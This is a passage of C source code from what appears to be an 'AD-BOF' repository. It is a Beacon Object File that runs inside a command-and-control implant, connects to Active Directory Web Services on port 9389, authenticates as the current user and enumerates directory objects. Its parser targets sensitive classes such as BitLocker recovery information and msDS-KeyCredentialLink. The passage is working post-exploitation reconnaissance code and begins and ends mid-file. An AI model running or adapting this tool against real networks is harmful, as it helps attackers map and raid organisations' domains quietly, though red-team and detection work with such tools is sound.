28 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"msDS-ResourceProperty\", 21) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x18 && i + 31 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"msDS-CentralAccessPolicy\", 24) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x10 && i + 23 < dataLen && MSVCRT$memcmp(data + i + 7, \"nTDSSiteSettings\", 16) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x09 && i + 16 < dataLen && MSVCRT$memcmp(data + i + 7, \"samDomain\", 9) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x13 && i + 26 < dataLen && MSVCRT$memcmp(data + i + 7, \"msDS-AzAdminManager\", 19) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x13 && i + 26 < dataLen && MSVCRT$memcmp(data + i + 7, \"msExchSystemMailbox\", 19) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x12 && i + 25 < dataLen && MSVCRT$memcmp(data + i + 7, \"msExchPublicFolder\", 18) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x1E && i + 37 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"msExchDynamicDistributionList\", 30) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x14 && i + 27 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"organizationalPerson\", 20) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x06 && i + 13 < dataLen && MSVCRT$memcmp(data + i + 7, \"person\", 6) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x1E && i + 37 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"msTPM-TpmInformationForComputer\", 31) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x1B && i + 34 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"msFVE-RecoveryInformation\", 25) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x13 && i + 26 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"msDS-KeyCredentialLink\", 22) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x16 && i + 29 < dataLen &&\n                     MSVCRT$memcmp(data + i + 7, \"msDS-AuthNPolicySilo\", 20) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x1A && i + 33 < dataLen && MSVCRT$memcmp(data + i + 7, \"msDS-AuthNPolicy\", 16) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0B && i + 18 < dataLen && MSVCRT$memcmp(data + i + 7, \"printServer\", 11) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0D && i + 20 < dataLen && MSVCRT$memcmp(data + i + 7, \"configuration\", 13) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x10 && i + 23 < dataLen && MSVCRT$memcmp(data + i + 7, \"displaySpecifier\", 16) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x12 && i + 25 < dataLen && MSVCRT$memcmp(data + i + 7, \"interSiteTransport\", 18) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x13 && i + 26 < dataLen && MSVCRT$memcmp(data + i + 7, \"applicationSettings\", 19) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x13 && i + 26 < dataLen && MSVCRT$memcmp(data + i + 7, \"packageRegistration\", 19) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x03 && i + 10 < dataLen && MSVCRT$memcmp(data + i + 7, \"top\", 3) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x0E && i + 21 < dataLen && MSVCRT$memcmp(data + i + 7, \"securityObject\", 14) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n            else if (lenByte == 0x11 && i + 24 < dataLen && MSVCRT$memcmp(data + i + 7, \"applicationEntity\", 17) == 0)\n            {\n                if (objectStartCount < 5000)\n                {\n                    objectStarts[objectStartCount++] = i;\n                }\n            }\n        }\n    }\n\n    if (objectStartCount == 0)\n    {\n        typedef struct\n        {\n            DWORD offset;\n            char dn[256];\n            BOOL isObjectDN;\n        } DNInfo;\n\n        DNInfo *dnInfos = (DNInfo *)intAlloc(sizeof(DNInfo) * 5000);\n        if (!dnInfos)\n        {\n            intFree(objectStarts);\n            return 0;\n        }\n        DWORD dnCount = 0;\n\n        for (DWORD i = 0; i < dataLen - 20; i++)\n        {\n            if ((data[i] == 0x98 || data[i] == 0x99) && i + 1 < dataLen)\n            {\n                BYTE textLen = data[i + 1];\n                if (textLen > 10 && textLen < 250 && i + 2 + textLen <= dataLen)\n                {\n                    char textValue[256];\n                    MSVCRT$memcpy(textValue, data + i + 2, textLen);\n                    textValue[textLen] = '\\0';\n\n                    // Check if this could be a DN\n                    if ((MSVCRT$strstr(textValue, \"CN=\") || MSVCRT$strstr(textValue, \"cn=\")) ||\n                        (MSVCRT$strstr(textValue, \"DC=\") || MSVCRT$strstr(textValue, \"dc=\")) ||\n                        (MSVCRT$strstr(textValue, \"OU=\") || MSVCRT$strstr(textValue, \"ou=\")))\n                    {\n\n                        BOOL isDN = FALSE;\n                        DWORD dnAttrOffset = 0;\n                        for (DWORD k = (i > 200) ? i - 200 : 0; k < i; k++)\n                        {\n                            if (k + 17 < i && MSVCRT$memcmp(data + k, \"distinguishedName\", 17) == 0)\n                            {\n                                BOOL hasIntermediateDN = FALSE;\n                                for (DWORD m = k + 17; m < i; m++)\n                                {\n                                    if ((data[m] == 0x98 || data[m] == 0x99) && m + 1 < dataLen)\n                                    {\n                                        BYTE len = data[m + 1];\n                                        if (len > 10 && len < 200 && m + 2 + len <= dataLen)\n                                        {\n                                            char val[256];\n                                            MSVCRT$memcpy(val, data + m + 2, len);\n                                            val[len] = '\\0';\n                                            if (MSVCRT$strstr(val, \"DC=\") || MSVCRT$strstr(val, \"CN=\") ||\n                                                MSVCRT$strstr(val, \"OU=\"))\n                                            {\n                                                hasIntermediateDN = TRUE;\n                                                break;\n                                            }\n                                        }\n                                    }\n                                }\n                                if (!hasIntermediateDN)\n                                {\n                                    isDN = TRUE;\n                                    dnAttrOffset = k;\n                                    break;\n                                }\n                            }\n                        }\n\n                        if (isDN && dnCount < 5000)\n                        {\n                            BOOL isDuplicate = FALSE;\n                            for (DWORD j = 0; j < dnCount; j++)\n                            {\n                                if (MSVCRT$strcmp(dnInfos[j].dn, textValue) == 0)\n                                {\n                                    isDuplicate = TRUE;\n                                    break;\n                                }\n                            }\n\n                            if (!isDuplicate)\n                            {\n                                dnInfos[dnCount].offset = i;\n                                MSVCRT$strcpy(dnInfos[dnCount].dn, textValue);\n                                dnInfos[dnCount].isObjectDN = TRUE;\n                                dnCount++;\n                            }\n                        }\n                    }\n                }\n            }\n        }\n\n        for (DWORD i = 0; i < dnCount; i++)\n        {\n            if (dnInfos[i].isObjectDN && objectStartCount < 5000)\n            {\n                DWORD objectStart = dnInfos[i].offset;\n\n                DWORD searchStart = (dnInfos[i].offset > 2000) ? dnInfos[i].offset - 2000 : 0;\n\n                if (i > 0)\n                {\n                    DWORD prevDNOffset = dnInfos[i - 1].offset;\n                    if (searchStart < prevDNOffset)\n                    {\n                        searchStart = prevDNOffset + 100;\n                    }\n                }\n\n                BOOL foundStart = FALSE;\n                for (DWORD k = dnInfos[i].offset; k > searchStart; k--)\n                {\n                    if (data[k] == 0x01)\n                    {\n                        BOOL foundObjectMarker = FALSE;\n                        for (DWORD m = k; m < k + 200 && m < dnInfos[i].offset; m++)\n                        {\n                            if ((m + 11 < dataLen && MSVCRT$memcmp(data + m, \"objectClass\", 11) == 0))\n                            {\n                                foundObjectMarker = TRUE;\n                                objectStart = k + 1;\n                                foundStart = TRUE;\n                                break;\n                            }\n                        }\n                        if (foundObjectMarker)\n                            break;\n                    }\n                }\n\n                if (!foundStart)\n                {\n                    objectStart = searchStart;\n                }\n\n                objectStarts[objectStartCount++] = objectStart;\n            }\n        }\n\n        intFree(dnInfos);\n    }\n\n    // Sort object starts to ensure they're in order\n    for (DWORD i = 0; i < objectStartCount - 1; i++)\n    {\n        for (DWORD j = i + 1; j < objectStartCount; j++)\n        {\n            if (objectStarts[i] > objectStarts[j])\n            {\n                DWORD temp = objectStarts[i];\n                objectStarts[i] = objectStarts[j];\n                objectStarts[j] = temp;\n            }\n        }\n    }\n\n    // Create boundaries for each object\n    for (DWORD i = 0; i < objectStartCount && boundaryCount < maxBoundaries; i++)\n    {\n        boundaries[boundaryCount].start = objectStarts[i];\n\n        // Set end to next object start or data end\n        if (i + 1 < objectStartCount)\n        {\n            boundaries[boundaryCount].end = objectStarts[i + 1];\n        }\n        else\n        {\n            boundaries[boundaryCount].end = dataLen;\n        }\n\n        boundaryCount++;\n    }\n\n    intFree(objectStarts);\n    return boundaryCount;\n}\n\nBOOL ParsePullResponse(BYTE *response, DWORD responseLen, const char *attrFilter, BOOL *hasMore,\n                       DWORD *objectsInThisPull)\n{\n    static DWORD totalObjectCount = 0;\n    DWORD objectCount = 0;\n\n    *hasMore = TRUE;\n\n    // Look for EndOfSequence marker patterns\n    const char *endSeqPatterns[] = {\n        \"\\x01\\x0B\\x0F\"\n        \"EndOfSequence\", // 13 bytes\n        \"\\x01\\x01\\x0B\\x0F\"\n        \"EndOfSequence\", // 14 bytes\n        \"\\x01\\x01\\x01\\x0B\\x0F\"\n        \"EndOfSequence\" // 23 bytes (extra 0x01s seen in some responses)\n    };\n\n    BOOL foundEndOfSequence = FALSE;\n    for (int p = 0; p < 3; p++)\n    {\n        const char *pattern = endSeqPatterns[p];\n        DWORD patLen = (p == 0) ? 13 : (p == 1) ? 14 : 23;\n\n        // Only search in the last portion of the response\n        DWORD searchStart = (responseLen > 1000) ? responseLen - 1000 : 0;\n\n        for (DWORD i = searchStart; i + patLen <= responseLen; i++)\n        {\n            if (MSVCRT$memcmp(response + i, pattern, patLen) == 0)\n            {\n                *hasMore = FALSE;\n                foundEndOfSequence = TRUE;\n                break;\n            }\n        }\n        if (foundEndOfSequence)\n            break;\n    }\n\n    // Find object boundaries\n    OBJECT_BOUNDARY *boundaries = (OBJECT_BOUNDARY *)intAlloc(sizeof(OBJECT_BOUNDARY) * 5000);\n    if (!boundaries)\n        return FALSE;\n\n    DWORD boundaryCount = FindObjectBoundaries(response, responseLen, boundaries, 5000);\n    objectCount = boundaryCount;\n    totalObjectCount += objectCount;\n\n    if (objectCount == 0)\n    {\n        // No objects found - check response size to determine if its done\n        if (responseLen < 600)\n        {\n            // Small response with no objects indicates end\n            *hasMore = FALSE;\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] No more objects (empty response of %d bytes)\", responseLen);\n        }\n        else\n        {\n            // Large response with no objects might be an error\n            BeaconPrintf(CALLBACK_OUTPUT, \"[!] No objects found in large response (%d bytes) - may be parsing error\",\n                         responseLen);\n        }\n        intFree(boundaries);\n        return TRUE;\n    }\n\n    if (totalObjectCount == objectCount)\n    {\n        internal_printf(\"Results:\\n\\n\");\n        printoutput(FALSE);\n    }\n\n    // Parse each object\n    for (DWORD objIdx = 0; objIdx < boundaryCount; objIdx++)\n    {\n        // Create a temporary buffer for an object\n        OutputBuffer outBuf;\n        OutputInit(&outBuf);\n\n        OutputPrintf(&outBuf, \"--------------------\\n\");\n\n        // Find the DN for this object by looking within its boundaries\n        char objectDN[256] = {0};\n        DWORD searchStart = boundaries[objIdx].start;\n        DWORD searchEnd = boundaries[objIdx].end;\n\n        // Validate boundaries\n        if (searchStart >= responseLen || searchEnd > responseLen || searchStart >= searchEnd)\n        {\n            OutputPrintf(&outBuf, \"\\n[ERROR] Invalid boundaries for object %d: start=%d, end=%d, responseLen=%d\",\n                         objIdx, searchStart, searchEnd, responseLen);\n            OutputFlush(&outBuf, objIdx);\n            continue;\n        }\n\n        for (DWORD i = searchStart; i < searchEnd && i < responseLen - 20; i++)\n        {\n            if ((response[i] == 0x98 || response[i] == 0x99) && i + 1 < responseLen)\n            {\n                BYTE textLen = response[i + 1];\n                if (textLen > 10 && textLen < 200 && i + 2 + textLen <= responseLen)\n                {\n                    char textValue[256];\n                    MSVCRT$memcpy(textValue, response + i + 2, textLen);\n                    textValue[textLen] = '\\0';\n\n                    if ((MSVCRT$strstr(textValue, \"CN=\") || MSVCRT$strstr(textValue, \"cn=\")) &&\n                        (MSVCRT$strstr(textValue, \"DC=\") || MSVCRT$strstr(textValue, \"dc=\")))\n                    {\n                        BOOL isDN = FALSE;\n                        for (DWORD k = (i > 200) ? i - 200 : searchStart; k < i; k++)\n                        {\n                            if (k + 17 < i && MSVCRT$memcmp(response + k, \"distinguishedName\", 17) == 0)\n                            {\n                                isDN = TRUE;\n                                break;\n                            }\n                        }\n                        if (isDN)\n                        {\n                            MSVCRT$strcpy(objectDN, textValue);\n                            break;\n                        }\n                    }\n                }\n            }\n        }\n\n        // Parse attribute filter if provided\n        if (attrFilter && MSVCRT$strlen(attrFilter) > 0)\n        {\n            ATTRIBUTE_ENTRY *attrs = (ATTRIBUTE_ENTRY *)intAlloc(sizeof(ATTRIBUTE_ENTRY) * 200);\n            if (!attrs)\n            {\n                BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to allocate memory for attributes\");\n                continue;\n            }\n\n            DWORD attrCount =\n                DiscoverAttributesInObject(response, boundaries[objIdx].start, boundaries[objIdx].end, attrs, 200);\n\n            if (attrCount > 0)\n            {\n                // Split comma-separated attribute names\n                char filterCopy[256];\n                MSVCRT$strncpy(filterCopy, attrFilter, 255);\n                filterCopy[255] = '\\0';\n\n                char *filterAttrs[50];\n                DWORD filterCount = 0;\n                char *token = MSVCRT$strtok(filterCopy, \",\");\n\n                while (token != NULL && filterCount < 50)\n                {\n                    while (*token == ' ')\n                        token++;\n                    filterAttrs[filterCount++] = token;\n                    token = MSVCRT$strtok(NULL, \",\");\n                }\n\n                // Display only filtered attributes\n                for (DWORD f = 0; f < filterCount; f++)\n                {\n                    for (DWORD i = 0; i < attrCount; i++)\n                    {\n                        if (MSVCRT$_stricmp(attrs[i].name, filterAttrs[f]) == 0)\n                        {\n                            OutputPrintf(&outBuf, \"%s: %s\\n\", attrs[i].name, attrs[i].value);\n                            break;\n                        }\n                    }\n                }\n            }\n\n            intFree(attrs);\n        }\n        else\n        {\n            char (*attributeNames)[64] = (char (*)[64])intAlloc(200 * 64);\n            if (!attributeNames)\n            {\n                BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to allocate memory for attribute names\");\n                continue;\n            }\n\n            DWORD nameCount =\n                DiscoverAttributeNames(response, boundaries[objIdx].start, boundaries[objIdx].end, attributeNames, 200);\n\n            if (nameCount > 0)\n            {\n                char *attrValue = (char *)intAlloc(4096);\n                if (!attrValue)\n                {\n                    BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to allocate memory for attribute value\");\n                    intFree(attributeNames);\n                    continue;\n                }\n\n                for (DWORD i = 0; i < nameCount; i++)\n                {\n                    MSVCRT$memset(attrValue, 0, 4096);\n\n                    if (ExtractAttributeUniversal(response + boundaries[objIdx].start,\n                                                  boundaries[objIdx].end - boundaries[objIdx].start, attributeNames[i],\n                                                  attrValue, 4096))\n                    {\n                        OutputPrintf(&outBuf, \"%s: %s\\n\", attributeNames[i], attrValue);\n                    }\n                }\n\n                intFree(attrValue);\n            }\n            else\n            {\n                OutputPrintf(&outBuf, \"\\n[No attributes discovered]\\n\");\n            }\n\n            intFree(attributeNames);\n        }\n\n        OutputFlush(&outBuf, objIdx);\n    }\n\n    intFree(boundaries);\n\n    if (objectsInThisPull)\n    {\n        *objectsInThisPull = objectCount;\n    }\n\n    return TRUE;\n}\n\n#endif\n"
  },
  {
    "path": "AD-BOF/adwssearch/adws_search.c",
    "content": "#define SECURITY_WIN32\n#include \"beacon.h\"\n#include \"bofdefs.h\"\n#include <dsgetdc.h>\n#include <lm.h>\n#include <rpc.h>\n#include <security.h>\n\n#include \"adws_parser.h\"\n#include \"nbfse.h\"\n#include \"nmf.h\"\n#include \"nns.h\"\n\n#ifdef BOF\nvoid ___chkstk_ms(void){}\nvoid __chkstk_ms(void){}\n#endif\n\n#ifndef bufsize\n#define bufsize 10485760\n#endif\n\nchar *output __attribute__((section(\".data\"))) = 0;\nDWORD currentoutsize __attribute__((section(\".data\"))) = 0;\nHANDLE trash __attribute__((section(\".data\"))) = NULL;\nBOOL g_useBeaconFormat __attribute__((section(\".data\"))) = -1;\n\n#ifdef BOF\nint bofstart()\n{\n    output = (char *)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n}\n\nvoid printoutput(BOOL done)\n{\n    char *msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    MSVCRT$memset(output, 0, bufsize);\n    if (done)\n    {\n        MSVCRT$free(output);\n        output = NULL;\n    }\n}\n\nvoid internal_printf(const char *format, ...)\n{\n    int buffersize = 0;\n    int transfersize = 0;\n    char *curloc = NULL;\n    char *intBuffer = NULL;\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args);\n    va_end(args);\n\n    if (buffersize == -1)\n        return;\n\n    char *transferBuffer = (char *)intAlloc(bufsize);\n    intBuffer = (char *)intAlloc(buffersize);\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, buffersize, format, args);\n    va_end(args);\n    if (buffersize + currentoutsize < bufsize)\n    {\n        MSVCRT$memcpy(output + currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else\n    {\n        curloc = intBuffer;\n        while (buffersize > 0)\n        {\n            transfersize = bufsize - currentoutsize;\n            if (buffersize < transfersize)\n            {\n                transfersize = buffersize;\n            }\n            MSVCRT$memcpy(output + currentoutsize, curloc, transfersize);\n            currentoutsize += transfersize;\n            if (currentoutsize == bufsize)\n            {\n                printoutput(FALSE);\n            }\n            MSVCRT$memset(transferBuffer, 0, transfersize);\n            curloc += transfersize;\n            buffersize -= transfersize;\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n#else\n#define bofstart()\n#define printoutput(x)\n#define internal_printf printf\n#endif\n\n#ifdef BOF\nvoid DetectBeaconFormatSupport()\n{\n    if (g_useBeaconFormat != -1)\n        return;\n\n    formatp test;\n    BeaconFormatAlloc(&test, 1024);\n    BeaconFormatPrintf(&test, \"test\");\n    char *testOutput = BeaconFormatToString(&test, NULL);\n    g_useBeaconFormat = (testOutput != NULL && test.original != NULL) ? 1 : 0;\n    BeaconFormatFree(&test);\n}\n\nvoid OutputInit(OutputBuffer *out)\n{\n    out->initialized = FALSE;\n    if (g_useBeaconFormat)\n    {\n        BeaconFormatAlloc(&out->buffer, 64 * 1024);\n        out->initialized = TRUE;\n    }\n}\n\nvoid OutputPrintf(OutputBuffer *out, const char *format, ...)\n{\n    va_list args;\n    va_start(args, format);\n\n    if (g_useBeaconFormat && out->initialized)\n    {\n        char temp[4096];\n        MSVCRT$vsnprintf(temp, sizeof(temp), format, args);\n        BeaconFormatPrintf(&out->buffer, \"%s\", temp);\n    }\n    else\n    {\n        char temp[4096];\n        MSVCRT$vsnprintf(temp, sizeof(temp), format, args);\n        internal_printf(\"%s\", temp);\n    }\n\n    va_end(args);\n}\n\nvoid OutputFlush(OutputBuffer *out, DWORD objIdx)\n{\n    if (g_useBeaconFormat && out->initialized)\n    {\n        char *objectOutput = BeaconFormatToString(&out->buffer, NULL);\n        if (objectOutput)\n        {\n            internal_printf(\"%s\", objectOutput);\n        }\n        BeaconFormatFree(&out->buffer);\n    }\n\n    if ((objIdx + 1) % 5 == 0)\n    {\n        printoutput(FALSE);\n    }\n}\n#endif\n\nvoid Phase5_FullEnumeration(const char *target, const char *ldapFilter, const char *attrFilter);\nBOOL ConnectToADWS(SOCKET *pSocket, const char *target);\n\nBOOL GetDistinguishedName(char *distinguishedName, DWORD size)\n{\n    char tempBuffer[512];\n    ULONG ulSize = sizeof(tempBuffer);\n\n    if (!SECUR32$GetUserNameExA(NameFullyQualifiedDN, tempBuffer, &ulSize))\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to retrieve user's distinguished name\");\n        return FALSE;\n    }\n\n    char *dcPart = MSVCRT$strstr(tempBuffer, \"DC=\");\n    if (!dcPart)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to find DC= in distinguished name\");\n        return FALSE;\n    }\n\n    MSVCRT$strncpy(distinguishedName, dcPart, size - 1);\n    distinguishedName[size - 1] = '\\0';\n\n    return TRUE;\n}\n\nBOOL GetDomainController(char *dcName, DWORD size)\n{\n    PDOMAIN_CONTROLLER_INFO pdcInfo = NULL;\n    DWORD dwRet = 0;\n\n    dwRet = NETAPI32$DsGetDcNameA(NULL, NULL, NULL, NULL, 0, &pdcInfo);\n\n    if (dwRet != ERROR_SUCCESS)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to identify Domain Controller. Are we domain joined?\");\n        return FALSE;\n    }\n\n    if (!pdcInfo || !pdcInfo->DomainControllerName)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] DsGetDcNameA returned no DC information\");\n        if (pdcInfo)\n            NETAPI32$NetApiBufferFree(pdcInfo);\n        return FALSE;\n    }\n\n    const char *dcAddress = pdcInfo->DomainControllerAddress;\n    if (dcAddress[0] == '\\\\' && dcAddress[1] == '\\\\')\n    {\n        dcAddress += 2;\n    }\n\n    MSVCRT$strncpy(dcName, dcAddress, size - 1);\n    dcName[size - 1] = '\\0';\n\n    NETAPI32$NetApiBufferFree(pdcInfo);\n    return TRUE;\n}\n\nBOOL DeriveBaseDN(const char *target, char *baseDN, DWORD baseDNSize);\n\nBOOL DeriveBaseDN(const char *target, char *baseDN, DWORD baseDNSize)\n{\n\n    if (!target || !baseDN || baseDNSize < 10)\n        return FALSE;\n\n    baseDN[0] = '\\0';\n\n    BOOL isIP = TRUE;\n    for (const char *p = target; *p; p++)\n    {\n        if ((*p < '0' || *p > '9') && *p != '.')\n        {\n            isIP = FALSE;\n            break;\n        }\n    }\n\n    if (isIP)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Cannot derive base DN from IP address. Please use hostname.\");\n        return FALSE;\n    }\n\n    const char *domainStart = MSVCRT$strchr(target, '.');\n    if (!domainStart)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Invalid target format. Expected: hostname.domain.tld\");\n        return FALSE;\n    }\n\n    domainStart++;\n\n    char tempDomain[256];\n    MSVCRT$strncpy(tempDomain, domainStart, 255);\n    tempDomain[255] = '\\0';\n\n    baseDN[0] = '\\0';\n\n    char *component = MSVCRT$strtok(tempDomain, \".\");\n    BOOL first = TRUE;\n\n    while (component != NULL)\n    {\n        if (!first)\n        {\n            MSVCRT$strcat(baseDN, \",\");\n        }\n        MSVCRT$strcat(baseDN, \"DC=\");\n        MSVCRT$strcat(baseDN, component);\n        first = FALSE;\n        component = MSVCRT$strtok(NULL, \".\");\n    }\n\n    return (MSVCRT$strlen(baseDN) > 0);\n}\n\nBOOL ConnectToADWS(SOCKET *pSocket, const char *target)\n{\n    struct addrinfo hints;\n    struct addrinfo *result = NULL;\n    struct addrinfo *ptr = NULL;\n    int ret;\n\n    MSVCRT$memset(&hints, 0, sizeof(hints));\n    hints.ai_family = AF_UNSPEC;\n    hints.ai_socktype = SOCK_STREAM;\n    hints.ai_protocol = IPPROTO_TCP;\n\n    ret = WS2_32$getaddrinfo((char *)target, \"9389\", &hints, &result);\n    if (ret != 0)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] getaddrinfo failed: %d\", ret);\n        return FALSE;\n    }\n\n    for (ptr = result; ptr != NULL; ptr = ptr->ai_next)\n    {\n        *pSocket = WS2_32$socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);\n        if (*pSocket == INVALID_SOCKET)\n        {\n            continue;\n        }\n\n        ret = WS2_32$connect(*pSocket, ptr->ai_addr, (int)ptr->ai_addrlen);\n        if (ret == SOCKET_ERROR)\n        {\n            WS2_32$closesocket(*pSocket);\n            *pSocket = INVALID_SOCKET;\n            continue;\n        }\n        break;\n    }\n\n    WS2_32$freeaddrinfo(result);\n    return (*pSocket != INVALID_SOCKET);\n}\n\n#ifdef BOF\nVOID go(IN PCHAR Buffer, IN ULONG Length)\n{\n    if (!bofstart()) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize output buffer\");\n        return;\n    }\n\n    DetectBeaconFormatSupport();\n\n    datap parser = {};\n    BeaconDataParse(&parser, Buffer, Length);\n\n    char *ldapFilter = BeaconDataExtract(&parser, NULL);\n    char *attrFilter = BeaconDataExtract(&parser, NULL);\n    char *target     = BeaconDataExtract(&parser, NULL);\n    char *baseDN     = BeaconDataExtract(&parser, NULL);\n\n    BOOL targetAuto = FALSE;\n    BOOL dnAuto     = FALSE;\n\n    if (ldapFilter == 0 || attrFilter == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Note: arguments unknown\");\n        return;\n    }\n\n    if( target && target[0] == 0 ) {\n        targetAuto = TRUE;\n        target = (char *) intAlloc(256);\n\n        if (!GetDomainController(target, 256))\n        {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to auto-discover domain controller\");\n            intFree(target);\n            return;\n        }\n    }\n\n    if ( baseDN && baseDN[0] == 0 ) {\n        dnAuto = TRUE;\n        baseDN = (char *) intAlloc(512);\n\n        if (!GetDistinguishedName(baseDN, 512)) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] Falling back to deriving DN from target hostname...\\n\");\n            if (!DeriveBaseDN(target, baseDN, 512)) {\n                BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to derive base DN from target\\n\");\n                goto cleanup_params;\n            }\n        }\n    }\n\n    internal_printf(\"[*] Filter:     %s\\n\", ldapFilter);\n    internal_printf(\"[*] Attributes: %s\\n\", attrFilter ? attrFilter : \"ALL\");\n    internal_printf(\"[*] Base DN:    %s\\n\", baseDN);\n    internal_printf(\"[*] Target DC:  %s\\n\", target);\n\n    CONNECTION_CONTEXT ctx = {0};\n    ctx.socket = INVALID_SOCKET;\n    ctx.hCred.dwLower = 0;\n    ctx.hCred.dwUpper = 0;\n    ctx.hContext.dwLower = 0;\n    ctx.hContext.dwUpper = 0;\n\n    int ret = WS2_32$WSAStartup(MAKEWORD(2, 2), &ctx.wsaData);\n    if (ret != 0)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] WSAStartup failed: %d\\n\", ret);\n        return;\n    }\n\n    if (!ConnectToADWS(&ctx.socket, target))\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to connect to ADWS\\n\");\n        goto cleanup_params;\n    }\n    internal_printf(\"[+] Connected to ADWS\\n\");\n\n    if (!SendNMFHandshake(ctx.socket, target))\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] NMF handshake failed\\n\");\n        goto cleanup_params;\n    }\n\n    if (!PerformNNSHandshake(&ctx, target))\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] NNS authentication failed\\n\");\n        goto cleanup_params;\n    }\n    internal_printf(\"[+] Authenticated\\n\");\n\n    NBFSE_BUFFER *nbfseBuffer = NBFSEBufferCreate(8192);\n    if (!nbfseBuffer)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to create NBFSE buffer\");\n        goto cleanup_params;\n    }\n\n    if (!BuildEnumerateRequest(nbfseBuffer, ldapFilter, baseDN, target, attrFilter))\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to build enumerate request\");\n        NBFSEBufferFree(nbfseBuffer);\n        goto cleanup_params;\n    }\n\n    if (!SendADWSMessage(&ctx, nbfseBuffer->data, nbfseBuffer->size))\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to send ADWS message\");\n        NBFSEBufferFree(nbfseBuffer);\n        goto cleanup_params;\n    }\n\n    PBYTE response = NULL;\n    DWORD responseLen = 0;\n    if (!NNSReceiveEncrypted(&ctx, &response, &responseLen))\n    {\n        